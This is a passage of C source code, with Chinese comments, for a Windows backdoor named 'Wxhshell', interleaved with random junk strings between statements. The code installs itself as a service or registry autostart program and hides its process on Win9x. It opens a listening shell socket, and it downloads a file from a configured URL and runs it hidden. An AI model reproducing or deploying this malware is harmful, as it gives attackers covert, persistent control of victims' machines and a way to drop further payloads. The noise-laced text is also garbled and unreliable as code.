0+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N1$u@P{ if(!hProcess) return 0; ,^:{!?v JT?u[pQ^ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d=D-s k,:W]KD CloseHandle(hProcess); =Kd'(ct +<a\0FsD hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jE*{^+n
if(hProcess==NULL) return 0; AS7L Az&>.* HMODULE hMod; \N9=13W<lK char procName[255]; P_(8+)ud- unsigned long cbNeeded; q&25,zWD F\m^slsu7= if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z`wIb Zw]"p63eMa CloseHandle(hProcess); l7|z]v- qX,q*hr- if(strstr(procName,"services")) return 1; // 以服务启动 3vY-;& #EH=tJgO|J return 0; // 注册表启动 BU:;;iV8 } =W~7fs ON,[!pc // 主模块 Anz{u$0M[ int StartWxhshell(LPSTR lpCmdLine) qYK^S4L { MgXZN{ SOCKET wsl; o701RG~) BOOL val=TRUE; NiZfaC6V int port=0; RlOy,/-< struct sockaddr_in door; 2:38CdkYp '(.5!7?Qc if(wscfg.ws_autoins) Install(); h.edb6 e9{ii2M port=atoi(lpCmdLine); $
VT) .C'\U[A{ if(port<=0) port=wscfg.ws_port; L/i'6(=" z@,pT"rb WSADATA data; 1}d
F,e if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Va8
}JD )ros-dp` if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; LCivZ0?|X setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v\:AOY' door.sin_family = AF_INET; \n{#r`T door.sin_addr.s_addr = inet_addr("127.0.0.1"); &<t%u[3 door.sin_port = htons(port); }j/\OY _& ;/Hr ZhOE if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "*bLFORkq' closesocket(wsl); K(+=V)'Dz return 1; UD-+BUV } |{#St-!-7 QLJ\> if(listen(wsl,2) == INVALID_SOCKET) { ]64Pk9z= closesocket(wsl); tx09B)0 return 1; ji/`OS-iq } %p 6Ms Wxhshell(wsl); s ~Eo]e WSACleanup(); k=s^-Eiu ctP+ECH return 0; n9Fq^^? evyjHc Cx } f Fi=/} Xh8U}w<k6 // 以NT服务方式启动 So ziFI VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G<C D4:V { #:?:gY< DWORD status = 0; BZ?w}%-MO DWORD specificError = 0xfffffff; JN8Rh aT,WXW* serviceStatus.dwServiceType = SERVICE_WIN32; y4kn2Mw; serviceStatus.dwCurrentState = SERVICE_START_PENDING; 7J);{ &x9h serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bW`nLiw}% serviceStatus.dwWin32ExitCode = 0; wq?"NQ?O< serviceStatus.dwServiceSpecificExitCode = 0; iHv+I~/ serviceStatus.dwCheckPoint = 0; e|tx`yA serviceStatus.dwWaitHint = 0; 7m#EqF$P E-WpsNJ)X hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lf=G if (hServiceStatusHandle==0) return; EB3/o7)L PhAfEsD status = GetLastError(); jRsl/dmy if (status!=NO_ERROR) Tb]7# v { ;mpY cpI serviceStatus.dwCurrentState = SERVICE_STOPPED; a4s't%
P serviceStatus.dwCheckPoint = 0; \|>%/P serviceStatus.dwWaitHint = 0; bPTtA;u serviceStatus.dwWin32ExitCode = status; ;-3&yQ7N) serviceStatus.dwServiceSpecificExitCode = specificError; |sGJum&= SetServiceStatus(hServiceStatusHandle, &serviceStatus); pLu5x< return; aVR!~hvFs } "~VKUvDu T={!/y+ serviceStatus.dwCurrentState = SERVICE_RUNNING; k~)CJ6} serviceStatus.dwCheckPoint = 0; !60U^\ serviceStatus.dwWaitHint = 0; ndFVP;q if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "M:ui0YP } \`y:#N<c 6$OmOCA% // 处理NT服务事件,比如:启动、停止 g%J\YRo VOID WINAPI NTServiceHandler(DWORD fdwControl) 9,8/DW.K { Z(q]rX5" switch(fdwControl) !>F70 { nReIi;pi case SERVICE_CONTROL_STOP: ! VT$U6 serviceStatus.dwWin32ExitCode = 0; E]Mx<7;\. serviceStatus.dwCurrentState = SERVICE_STOPPED; ICz:>4M-dn serviceStatus.dwCheckPoint = 0; `% \CO` serviceStatus.dwWaitHint = 0; #j Tkz { ]\rQ{No SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]EK(k7nH } .c>6}:ye return; 9 m8KDB[N case SERVICE_CONTROL_PAUSE: * K$U[$s serviceStatus.dwCurrentState = SERVICE_PAUSED; Ko&4{}/ break; 1V]ws}XW case SERVICE_CONTROL_CONTINUE: %f CkR`: serviceStatus.dwCurrentState = SERVICE_RUNNING; >K'dgJ245 break; <<-L,0 case SERVICE_CONTROL_INTERROGATE: `Ij EwKra break; *SJ[~ }; B9,39rG/7+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); jwjLxt } ;HCK iHC -~c-mt // 标准应用程序主函数 vVMoCG"f int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m$C1Ea-wnT { </kuJh\ *ELU">!}G // 获取操作系统版本 Y-8BL OsIsNt=GetOsVer(); K Zg NL| GetModuleFileName(NULL,ExeFile,MAX_PATH); O)W+rmToI t<dFH}U`w // 从命令行安装 T
9`AL if(strpbrk(lpCmdLine,"iI")) Install();
kMW9UUw )*_G/<N)| // 下载执行文件 .(/HU Qn if(wscfg.ws_downexe) { aA$\iFYA if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,|z@Dy WinExec(wscfg.ws_filenam,SW_HIDE); 7(D)U)9h } Pek[j)g} PCwc= if(!OsIsNt) { N( 7(~D=)B // 如果时win9x,隐藏进程并且设置为注册表启动 jv v= HideProc(); wdt2T8`I/ StartWxhshell(lpCmdLine); ?#a&eW } Jqzw94 else i\;ZEM{ if(StartFromService()) Y'000#+ // 以服务方式启动 4RctYMz StartServiceCtrlDispatcher(DispatchTable); -uN{28;@ else 6|lsG6uf // 普通方式启动 v5@4|u3ds StartWxhshell(lpCmdLine); 0Sk~m4fj( w;Azxcw return 0; %AJ9fs4/ }
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